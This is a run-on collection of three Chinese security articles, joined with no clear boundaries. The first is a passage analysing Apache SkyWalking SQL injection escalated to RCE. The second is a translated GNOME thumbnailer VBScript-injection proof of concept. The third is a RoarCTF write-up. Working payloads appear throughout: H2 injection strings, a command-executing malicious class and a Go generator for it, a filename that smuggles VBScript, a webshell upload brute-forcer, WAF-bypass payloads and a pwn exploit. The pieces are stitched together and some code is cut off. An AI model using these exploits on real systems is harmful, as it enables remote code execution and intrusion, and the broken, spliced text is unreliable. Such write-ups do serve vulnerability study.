oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\AlarmQuery.java
对应的 graphqls 文件：
oap-server\server-query-plugin\query-graphql-plugin\src\main\resouRCEs\query-protocol\alarm.graphqls
对应的 DAO ：
oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2AlarmQueryDAO.java
### 漏洞分析
#### SQL注入漏洞点
根据 github 对应的 Pull ：
<https://github.com/apache/skywalking/pull/6246/files>定位到漏洞点
漏洞点在oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java
中的64 行，直接把 metricName append 到了 sql 中：
我们向上找调用 queryLogs 的地方，来到 oap-server\server-core\src\main\java\org\apache\skywalking\oap\server\core\query\LogQueryService.java
中的queryLogs 方法：
再向上找调用 LogQueryService 中的 queryLogs 的地方，会跳到 oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java
中的 queryLogs 方法：
方法所在的类正好实现了 GraphQLQueryResolver 接口，而且我们可以看到传入 getQueryService().queryLogs
方法的第一个参数(也就是之后的metricName) 是直接通过 condition.getMetricName() 来赋值的。
我们接着回到 H2LogQueryDAO.java 中:
buildCountStatement ：
计算 buildCountStatment(sql.toString()) ：
这里我们传入恶意 metricName 为 INFORMATION_SCHEMA.USERS union all select h2version())a
where 1=? or 1=? or 1=? --
成功报错带出结果：
### RCE
说起 h2 sql 注入导致 RCE ， 大家第一反应肯定是利用堆叠注入来定义函数别名来执行 java 代码，比如这样构造exp：
"metricName": "INFORMATION_SCHEMA.USERS union select 1))a where 1=? or 1=? or 1=? ;CREATE ALIAS SHELLEXEC4 AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter('\\\\A'); if(s.hasNext()){return s.next();}else{return '';} }$$;CALL SHELLEXEC4('id');--
但是这里不能执行多条语句，因为要执行 create 语句的话就需要使用分号闭合掉前面的 select 语句，而我们可以看到执行sql
语句的h2Clinet.executeQuery() 底层使用的 prepareStatement(sql)
，prepareStatementer只能编译一条语句，要编译多条语句则需要使用 addBatch 和 executeBatch 。
根据公开文档 <https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw> ，h2 可以通过
**file_write** 写文件 ， **link_schema** 底层使用了类加载。
#### file_write
file_write：
"metricName": "INFORMATION_SCHEMA.USERS union all select file_write('6162','evilClass'))a where 1=? or 1=? or 1=? --"，
#### link_schema
link_schema 函数底层存在一处类加载机制：
loadUserClass 底层使用的是 Class.forName() 去加载:
而这个 driver class 正好是 link_schema 的第二个参数。
link_schema：
"metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','evilClass','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --"
#### 结合
那么我们就可以根据 file_write 来写一个恶意的 class 到服务器，把要执行的 java 代码写到 类的 static 块中，然后
linke_schema 去加载这个类，这样就可以执行任意的 java 代码了。
这里写恶意类的时候有个小技巧，可以先在本地安装 h2 ，然后利用 h2 来 file_read 读恶意类，file_read
出来的结果正好就是十六进制形式，所以就可以直接把结果作为 file_write() 的第一个参数
### 坑
#### classpath
不得不提 idea 执行 debug 运行的坑，这个坑折腾了好久。使用 idea debug 运行的时候，idea 会修改 classpath
<https://blog.csdn.net/romantic_jie/article/details/107859901> ，
然后就导致调用 link_schema 的时候总是提示 class not found 的报错。
所以最后选择不使用 idea debug 运行，使用官网提供的 distribution 中的 starup.bat 来运行。
下载地址: <https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz>
#### 双亲委派机制
另外由于双亲委派机制，导致加载一次恶意类之后，再去使用 link_schema
加载的时候无法加载。所以在实际使用的时候，需要再上传一个其他名字的恶意类来加载。
#### JDK 版本问题
由于 JVM 兼容性问题，使用低版本 JDK 启动 skywalking ，如果恶意类使用的编译环境比目标环境使用的 JDK 版本高的话，在类加载的时候会报
General error 错误。
考虑到现在市面上 JDK 版本基本都在 JDK 6 以及以上版本，所以为了使我们的恶意类都能加载，我们在生成恶意类的时候，最好使用 JDK 6 去生成。
javac evil.java -target 1.6 -source 1.6
### 回显RCE
既然可以执行任意 java 代码，其实就可以反弹 shell 了，但是考虑到有些时候机器没法出网，所以需要想办法实现回显 RCE 。
因为得到 h2 version 是通过报错来回显的，所以第一个想法就是恶意类中把执行的结果作为异常来抛出，这样就能达到回显的效果，但是 loadClass
的时候只会执行 static 块中的代码，而 static 块中又无法向上抛出异常，所以这个思路行不通。
后来想了想，想到可以结合 **file_read()** 的方法来间接实现回显 RCE 。也就是说把执行的结果写到 output.txt 中，然后通过
file_read("output.txt",null) 去读取结果
恶意类 static 块如下：
static {
try {
String cmd = "whoami";
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader i = new InputStreamReader(in,"GBK");
BufferedReader re = new BufferedReader(i);
StringBuilder sb = new StringBuilder(1024);
String line = null;
while((line = re.readLine()) != null) {
sb.append(line);
}
BufferedWriter out = new BufferedWriter(new FileWriter("output.txt"));
out.write(String.valueOf(sb));
out.close();
} catch (IOException var7) {
}
}
file_read ：
"metricName": "INFORMATION_SCHEMA.USERS union all select file_read('output.txt',null))a where 1=? or 1=? or 1=? --"
### 动态字节码
前面提到过，由于类加载机制，需要每次都上传一个恶意新的恶意 class 文件，但是其实两个 class 文件差异并不大，只是执行的命令 ，以及 class
文件名不同而已，所以可以编写两个恶意类，利用 beyond compare 等对比工具比较两个 class 文件的差异，找到差异的地方。
那么我们在整合到 goby 的时候，思路就是每执行一条命令的时候，随机生成5位文件名，然后用户根据 要执行的命令来动态修改部分文件名。
classHex := "cafebabe00000034006b07000201000a636c617373"
cmd := "whoami"
if ss.Params["cmd"] != nil{
cmd = ss.Params["cmd"].(string)
}
// 生成随机文件名后缀 ， 比如 class01234 ， class12345
rand.Seed(time.Now().UnixNano())
// 随机文件名后缀名 以及 对应的十六进制
fileNameSuffix := goutils.RandomHexString(5) //goby 中封装的生成随机hex的函数
hexFileNameSuffixString := hex.EncodeToString([]byte(fileNameSuffix))
filename := "class"+fileNameSuffix
classHex += hexFileNameSuffixString
classHex += "0700040100106a6176612f6c616e672f4f626a6563740100083C636C696E69743E010003282956010004436F64650800090100"
cmdLen := fmt.Sprintf("%02x"，len(cmd))
classHex += cmdLen
cmdHex := hex.EncodeToString([]byte(cmd))
classHex += cmdHex
classHex += "0a000b000d07000c0100116a6176612f6c616e672f52756e74696d650c000e000f01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0a000b00110c0012001301000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0a001500170700160100116a6176612f6c616e672f50726f636573730c0018001901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b07001b0100196a6176612f696f2f496e70757453747265616d52656164657208001d01000347424b0a001a001f0c002000210100063c696e69743e01002a284c6a6176612f696f2f496e70757453747265616d3b4c6a6176612f6c616e672f537472696e673b29560700230100166a6176612f696f2f42756666657265645265616465720a002200250c00200026010013284c6a6176612f696f2f5265616465723b29560700280100176a6176612f6c616e672f537472696e674275696c6465720a0027002a0c0020002b010004284929560a0027002d0c002e002f010006617070656e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e674275696c6465723b0a002200310c00320033010008726561644c696e6501001428294c6a6176612f6c616e672f537472696e673b0700350100166a6176612f696f2f42756666657265645772697465720700370100126a6176612f696f2f46696c6557726974657208003901000a6f75747075742e7478740a0036003b0c0020003c010015284c6a6176612f6c616e672f537472696e673b29560a0034003e0c0020003f010013284c6a6176612f696f2f5772697465723b29560a004100430700420100106a6176612f6c616e672f537472696e670c0044004501000776616c75654f66010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f537472696e673b0a003400470c0048003c01000577726974650a0034004a0c004b0006010005636c6f736507004d0100136a6176612f696f2f494f457863657074696f6e01000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010003636d640100124c6a6176612f6c616e672f537472696e673b010002696e0100154c6a6176612f696f2f496e70757453747265616d3b0100016901001b4c6a6176612f696f2f496e70757453747265616d5265616465723b01000272650100184c6a6176612f696f2f42756666657265645265616465723b01000273620100194c6a6176612f6c616e672f537472696e674275696c6465723b0100046c696e650100036f75740100184c6a6176612f696f2f42756666657265645772697465723b01000d537461636b4d61705461626c6507005f0100136a6176612f696f2f496e70757453747265616d01000a457863657074696f6e730a000300620c002000060100047468697301000c4c636c617373"
classHex += hexFileNameSuffixString
classHex += "3b0100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b2956010004617267730100135b4c6a6176612f6c616e672f537472696e673b01000a536f7572636546696c6501000f636c617373"
classHex += hexFileNameSuffixString
classHex += "2e6a617661002100010003000000000003000800050006000100070000013b000500070000006c12084bb8000a2ab60010b600144cbb001a592b121cb7001e4dbb0022592cb700244ebb002759110400b700293a04013a05a7000b19041905b6002c572db60030593a05c7fff1bb003459bb0036591238b7003ab7003d3a0619061904b80040b600461906b60049a7000457b1000100000067006a004c0003004e0000003a000e0000000f00030010000e00110019001200220013002e00140031001500340016003c001500460018005800190062001a0067001b006b001e004f00000048000700030064005000510000000e00590052005300010019004e00540055000200220045005600570003002e003900580059000400310036005a005100050058000f005b005c0006005d000000270004ff0034000607004107005e07001a070022070027070041000007ff002d0000000107004c0000000020000600020060000000040001004c00070000003300010001000000052ab70061b100000002004e0000000a00020000000400040005004f0000000c00010000000500630064000000090065006600020060000000040001004c00070000002b0000000100000001b100000002004e0000000600010000000a004f0000000c0001000000010067006800000001006900000002006a"
## 历史SQL注入
skywalking 历史 sql 注入漏洞有两个，分别是 CVE-2020-9483 和 CVE-2020-13921 ，之前也提到此次漏洞是由于之前两次
sql 注入漏洞修复并不完善，仍存在一处 sql 注入漏洞。我们不妨也来看看这两个漏洞。
其实原因都是在执行 sql 语句的时候直接对用户可控的参数进行了拼接。
而这里说的可控，就是通过 GraphQL 语句来传入的参数。
#### CVE-2020-9483 [id 注入]
更改了一个文件，oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetricsQueryDAO.java
文件 <https://github.com/apache/skywalking/pull/4639/files>
把查询条件中的 id 换成使用预编译的方式来查询。
#### CVE-2020-13921 [多处注入]
原因是 参数直接拼接到 sql 执行语句中 <https://github.com/apache/skywalking/issues/4955>
有人提出 还有其他点存在直接拼接的问题。
作者修复方案如下，都是把直接拼接的换成了使用占位符预编译的方式:
另外作者也按照了上面的提议修改了其他三个文件，也是使用这样的方法。都是采用占位符来查询。
修复的文件：
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AlarmQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetadataQueryDAO.java [新增]
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TraceQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/mysql/MySQLAlarmQueryDAO.java
但是上面的 issue 中还提到了：
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AggregationQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TopNRecordsQueryDAO.java
作者对这三个没有修复。而这次的主角就是 h2LogQueryDao.java 中
存在的 sql 注入，而且出问题的就是上面提到的那个地方 metricName 。
对于这次的 sql 注入，作者最后的修复方案是 直接删除这个metricName 字段
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java
另外由于删除字段，所以导致了有12处文件都修改了。
这也正是[Skywalking远程代码执行漏洞预警](https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw)中提到的未修复完善地方。
## 思考
这三次 sql 注入的原因都是因为在执行 sql 语句的时候直接对用户可控的参数进行了拼接，于是尝试通过查看 Dao
中其他的文件找是不是还存在其他直接拼接的地方。
翻了翻，发现基本都用了占位符预编译。
一开始发现一些直接拼接 metrics 的地方，但是并不存在注入，比如 H2AggregationQueryDAO 中的 sortMetrics ：
向上找到 sortMetics :
继续向上找:
对应的 aggregation.graphqls :
发现虽然有些是拼接了，但是
会进行判断，如果 condition.getName 是 UNKNOWN 的话就会直接返回。
## 参考
[Skywalking远程代码执行漏洞预警](https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw)
[[CVE-2020-9483/13921]Apache SkyWalking
SQL注入](https://blog.csdn.net/caiqiiqi/article/details/107857173)
[Apache SkyWalking SQL注入漏洞复现分析
(CVE-2020-9483)](https://mp.weixin.qq.com/s/91MWSDYkom2Z8EVYSY37Qw)
[Skywalking 8 源码编译 IDEA 运行问题](https://www.jianshu.com/p/6374cc8dc9c8)
[根据配置CLASSPATH彻底弄懂AppCLassLoader的加载路径问题](https://blog.csdn.net/romantic_jie/article/details/107859901)
[SkyWalking调试环境搭建](https://www.cnblogs.com/goWithHappy/p/build-dev-env-for-skywalking.html#1.%E4%BE%9D%E8%B5%96%E5%B7%A5%E5%85%B7)
[SkyWalking How to build
project](https://github.com/apache/skywalking/blob/master/docs/en/guides/How-to-build.md#build-from-github)
[GraphQL 查询和变更](https://graphql.cn/learn/queries/)
[GraphQL的探索之路 –
一种为你的API而生的查询语言篇一](https://mp.weixin.qq.com/s?__biz=MzA4ODIyMzEwMg==&mid=2447535043&idx=1&sn=1044f088d88a37230fdcf546e29c0409&chksm=843bb7d2b34c3ec426e667e354729974c8902d5d8d355bf5aae4f45c705831fe738f4f76f895&scene=21#wechat_redirect)
[GraphQL的探索之路 –
SpringBoot集成GraphQL篇二](https://mp.weixin.qq.com/s?__biz=MzA4ODIyMzEwMg==&mid=2447535068&idx=1&sn=3efc4d37f8dd00f1fb3e93b4255fc7a6&chksm=843bb7cdb34c3edb1611c4ed823f7e35335a5e277009f920a4c18fd4c69d968250d7b3cbaf0b&scene=21#wechat_redirect)
[GraphQL的探索之路 –
SpringBoot集成GraphQL之Query篇三](https://zhuanlan.zhihu.com/p/210471003)
[GraphQL的探索之路 –
SpringBoot集成GraphQL之Mutation篇四](https://blog.csdn.net/linxingliang/article/details/108488730)
[SkyWalking [CVE] Fix SQL Injection vulnerability in H2/MySQL implementation.
#4639](https://github.com/apache/skywalking/pull/4639/files)
[SkyWalking ALARM_MESSAGE Sql Inject
#4955](https://github.com/apache/skywalking/issues/4955)
[SkyWalking LogQuery remove unused field
#6246](https://github.com/apache/skywalking/pull/6246/files)
* * * | 社区文章 |
# 【技术分享】通过GNOME Files的缩略图实现VBScript注入
|
##### 译文声明
本文是翻译文章，文章来源：dieweltistgarnichtso.net
原文地址：<http://news.dieweltistgarnichtso.net/posts/gnome-thumbnailer-msi-fail.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=877906634)
预估稿费：50RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 前言**
****
在GNOME Files文件管理器中针对MSI文件的缩略图可以导致执行任意VBScript。我将这个漏洞命名为“Bad
Taste”。它的logo是变色的Wine的logo。
**0x01 针对用户的补救措施**
****
删除/usr/share/thumbnails下的所有文件。不要使用GNOME Files。卸载任何能将部分文件名作为代码的软件。
**0x02 针对开发者的补救措施**
****
不要使用有bug的ad-hoc解析器来解析文件。处理他们时要充分验证输入。不要使用模版，而是使用unparsers。可以阅读这个LANGSEC。
**0x03 安装依赖**
****
在Debain GNU/Linux上，安装gnome-exe-thumbnailer，nautilus和wixl。其中Wixl包用于创建MSI文件以便触发漏洞。如果PoC无法生效，则安装winetricks并运行winetricks
wsh56来更新Windows Script Host。
**0x04 创建MSI文件**
****
创建包含下面内容的文件poc.xml:
<?xml version="1.0" encoding="utf-8"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Version="1.0"/>
</Wix>
执行下面的Bourne shell code：
wixl -o poc.msi poc.xml
cp poc.msi "poc.msi",0):Set fso=CreateObject("Scripting.FileSystemObject"):Set poc=fso.CreateTextFile("badtaste.txt")'.msi"
**
**
**0x05 触发执行**
****
启动GNOME文件管理器，导航到包含MSI文件的文件夹。会出现一个badtaste.txt的空文件。
**0x06 细节分析**
****
很多文件管理器都会根据文件格式生成缩略图。在GNU/Linux上，为了找到一个程序能针对特定文件格式生成缩略图，文件管理器GNOME
Files使用缩略图配置文件/usr/share/thumbnailers。安装Debian包gnome-exe-thumbnailer后，/usr/share/thumbnailers/exe-dll-msi.thumbnailer包含下面的文本：
[Thumbnailer Entry]
TryExec=/usr/bin/gnome-exe-thumbnailer
Exec=/usr/bin/gnome-exe-thumbnailer %i %o %u
MimeType=application/x-ms-dos-executable;application/x-msdownload;application/x-msi;application/x-ms-shortcut
这意味着，当一个微软Windows可执行文件（EXE），安装程序（MSI），库（DLL）或快捷方式（LNK）的图标显示时，GNOME
Files会调用/usr/bin/gnome-exe-thumbnailer来从文件中提取内嵌图标，或者根据文件类型提供图片。Shell脚本/usr/bin/gnome-exe-thumbnailer包含下面的代码：
**总结**
这个代码创建了一个脚本，其中包含了要显示的缩略图的文件名，并使用Wine执行它，
而并不是通过解析MSI文件来得到它的版本号。这个脚本是使用模版创建的，这样就可以在文件名中内嵌VBScript，并触发它的执行。
因为只有一行VBScript，所以通过文件名注入的语句必须用冒号隔开。而单引号可以作为一行的注释。 | 社区文章 |
**作者：楼上请让路战队**
**时间：2019年10月22日**
#### 黄金6年
文件尾部有一段base64，解码为16进制可以看到是一个压缩包
使用pr抽帧
可以看到部分帧中有二维码，依次扫码即可得到key iwantplayctf
#### forensic
直接上volatility
建议profile，直接用Win7SP1x86就可以。
查看进程
volatility -f mem.raw pslist --profile=Win7SP1x86
可以看到存在以下几个值得注意的进程：
Dumpit.exe 一款内存镜像提取工具。
TrueCrypt.exe 一款磁盘加密工具。
Notepad.exe windows自带的记事本。
Mspaint,exe windows自带画图工具。
通过查看userassist可以发现notepad mspaint
在提取内存时在内存中并没有数据。查看用户Home目录的文件，可以发现有一个用户保存的图片文件
`volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep
-v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'`
把图片dump下来
通过查看桌面文件还可以发现dumpit.exe在桌面上，而dumpit.exe默认生成的文件是
{hash}.raw，默认保存路径是dumpit.exe所在的路径。
尝试dump
位于0x000000001fca1130位置的raw镜像，发现该文件还没有数据，因此判断取证的时候dumpit.exe还在运行中，dump下来dumpit.exe的内存镜像。
对dumpit.exe的内存镜像进行分析
猜测密码就是刚那张图片上的扭曲文字
不得不说，有几个位置很难辨认，比如第一个字符是数字1还是字母l还是字母I,那些大小写长得一样的是大写还是小写，中间那个是y还是g。直接上掩码爆破
#### TankGame
用dnspy反编译，关键代码：
public static void WinGame()
{
if (!winGame && ((nDestroyNum == 4) || (nDestroyNum == 5)))
{
string str = "clearlove9";
for (int i = 0; i < 0x15; i++)
{
for (int j = 0; j < 0x11; j++)
{
str = str + MapState[i, j].ToString();
}
}
if (Sha1(str) == "3F649F708AAFA7A0A94138DC3022F6EA611E8D01")
{
FlagText._instance.gameObject.SetActive(true);
FlagText.str = "RoarCTF{wm-" + Md5(str) + "}";
winGame = true;
}
}
}
public static string Md5(string str)
{
byte[] bytes = Encoding.UTF8.GetBytes(str);
byte[] buffer2 = MD5.Create().ComputeHash(bytes);
StringBuilder builder = new StringBuilder();
foreach (byte num in buffer2)
{
builder.Append(num.ToString("X2"));
}
return builder.ToString().Substring(0, 10);
}
private void OnTriggerEnter2D(Collider2D collision)
{
int x = (int) collision.gameObject.transform.position.x;
int y = (int) collision.gameObject.transform.position.y;
switch (collision.tag)
{
case "Tank":
if (!this.isPlayerBullect)
{
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
}
break;
case "Heart":
MapManager.MapState[x + 10, y + 8] = 9;
MapManager.nDestroyNum++;
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
break;
case "Enemy":
if (this.isPlayerBullect)
{
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
}
break;
case "Wall":
MapManager.MapState[x + 10, y + 8] = 8;
MapManager.nDestroyNum++;
UnityEngine.Object.Destroy(collision.gameObject);
UnityEngine.Object.Destroy(base.gameObject);
break;
case "Barrier":
if (this.isPlayerBullect)
{
collision.SendMessage("PlayAudio");
}
UnityEngine.Object.Destroy(base.gameObject);
break;
}
}
墙1替换成8，老家0替换成9，66个变量，4或5个位置需要变，首先爆破66 * 65 * 64 *
63，爆破出来了，计算md5得到前10字节，得到flag，细节如图：
#### simple_upload
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
ThinkPHP默认上传文件名是递增的。代码中ThinkPHP的后缀过滤无效，所以通过上传多个文件的方式，绕过.php后缀的判断，文件名，需要爆破
写脚本上传一个正常文件，再上传多个文件，再上传一个正常文件。然后获取到第一三次上传的文件名
import requests
url = "http://lo408dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload"
files1 = {'file': open('test.txt','r')}
files2 = {'file[]': open('test.php','r')}
r = requests.post(url,files=files1)
print(r.text)
r = requests.post(url,files=files2)
print(r.text)
r = requests.post(url,files=files1)
print(r.text)
爆破一下第一三文件名之间的所有文件名
import requests
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bb3645.txt","success":1}
#{"url":"\/Public\/Uploads\/","success":1}
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bd6f0a.txt","success":1}
s = "1234567890abcdef"
for i in s:
for j in s:
for k in s:
for l in s:
url = "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc%s%s%s%s.php"%(i,j,k,l)
r = requests.get(url)
# print(url)
if r.status_code != 404:
print(url)
break
爆破到文件名后，即可访问上传的木马，拿到flag
#### easy_calc
这题首先进去发现是一个计算器的题目。
这道题是国赛的 **love_math** 的修改版，除去了长度限制，payload中不能包含' ', '\t', '\r', '\n',''', '"',
'`', '[', ']'
等字符，不同的是网站加了waf，需要绕过waf。首先需要绕过waf，测试发现当我们提交一些字符时，会直接403，可以构造畸形的HTTP包来绕过，经测试使用两个
"Content-Length" 就可以了。
因为禁掉了一些字符，所以导致我们不能直接getflag，继续分析payload构造
这里用到几个php几个数学函数。
我们首先要构造列目录的payload，肯定要使用`scandir`函数，尝试构造列举根目录下的文件。`scandir`可以用`base_convert`函数构造，但是利用`base_convert`只能解决`a~z`的利用，因为根目录需要`/`符号，且不在`a~z`,所以需要`hex2bin(dechex(47))`这种构造方式，`dechex()`
函数把十进制数转换为十六进制数。`hex2bin()` 函数把十六进制值的字符串转换为 ASCII 字符。
构造读取flag，使用`readfile`函数，paload：`base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))`，方法类似
#### easy_java
这道进去首先想到的就是任意文件下载，但是刚开始用`GET`方式一直什么都下载不了，连网站确定目录的图片都下不了。后来修改为post，可以了。。。
尝试读取`WEB-INF/web.xml`发现操作flag的关键文件位置
将图中base64解码即flag。
#### ez_op
payload:
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
from pwn import *
system_addr = 0x08051C60
hook_free = 0x080E09F0
# opcdoe
opcode = ""
# get stack_addr
opcode += """\
push 5
stack_load\
"""
# sub hook_free
opcode += f"""\
push {hook_free}
sub\
"""
# value / 4 + 1
opcode += """\
push 4
div
push 1
add\
"""
# *hook_free = system_addr
opcode += f"""\
push {system_addr}
stack_set\
"""
opcode = f"""\
push {0x6e69622f}
push {0x68732f}
push {system_addr}
push 1
push 4
push 64
stack_load
push {hook_free}
sub
div
sub
stack_set\
"""
OPCODET = {
"push": 0x2a3d,
"add": 0,
"sub": 0x11111,
"div": 0x514,
"stack_set": 0x10101010,
"stack_load": -1
}
opcode_list = opcode.split("\n")
op_result = []
num_result = []
for op in opcode_list:
tmp = op.split(" ")
assert tmp[0] in OPCODET
op_result.append(str(OPCODET[tmp[0]]))
if len(tmp) == 2:
num_result.append(str(tmp[1]))
result_op = " ".join(op_result)
result_num = " ".join(num_result)
print(result_op)
print(result_num)
#### polyre
使用 deflat.py 脱去控制流平坦化，加密算法大致是：输入 48，平分 6 组，将每组 8 字节转化为 long
类型的值，对每组进行加密，先判断正负，然后将值乘 2，随后根据正负异或 0xB0004B7679FA26B3，循环 64
次，最后进行比较；按照这个逻辑写逆运算就可以了，逆运算见 depoly.py
origin = [0xbc8ff26d43536296,
0x520100780530ee16,
0x4dc0b5ea935f08ec,
0x342b90afd853f450,
0x8b250ebcaa2c3681,
0x55759f81a2c68ae4]
key = 0xB0004B7679FA26B3
data = ""
for value in origin:
for i in range(0, 64):
tail = value & 1
if tail == 1:
value = value ^ key
value = value // 2
if tail == 1:
value = value | 0x8000000000000000
#print(hex(value))
# end for
print(hex(value))
j = 0
while (j < 8):
data += chr(value & 0xFF)
value = value >> 8
j += 1
# end while
#end for
print(data)
#### rsa
根据题目文件可知：
A=(((y%x) **5)%(x%y))** 2019+y**316+(y+1)/x
p=next_prime(z _x_ y)
q=next_prime(z)
n=p*q
直接爆破A方程可得 x*y=166。（一个是2一个是83，懒得重新写脚本了很好爆。）
然后可得
p=next_prime(z*166)
q=next_prime(z)
可以推断出，n和z _z_
166的值相对来说是距离比较近的，根据next_prime可以推测出sqrt(n/166)的值和p和q的其中一个是很接近的，爆破即可。
py2 ：
import sympy
import gmpy2
n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
m是n/166的开放根，和p q 中的一个距离很近
m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)
m2=842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029*166
k=m
p=0
q=0
while (m>10000):
if(n%m==0):
\#print (m) A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
根据方程可以直接算出x和y
a=2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
x=1
y=1
n=0
c=0
d=0
for x in range(1,100):
for y in range(2,100):
c=(y+1)/x
d=x%y
if(d!=0):
n=(((y%x)**5)%d)**2019+y**316+c
if(n==a):
print (x)
print (y)
可得x=2 y=83
p=next_prime(z*x*y)
q=next_prime(z)
n=q*p
因此可以猜测n和（z _x_ y） _z的值也是很接近的，也就是n和z^2_
166是很接近的，那么sqrt(n/166)和q是很接近的。所以从sqrt(n/166)附近查找prime。
e是未知的，但是e的取值范围相对是小的，直接猜或者爆破，结果可知e为65537.
解密脚本
import sympy
import math
import binascii
from Crypto.Util.number import long_to_bytes
n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
m即是sqrt(n/166)的近似值
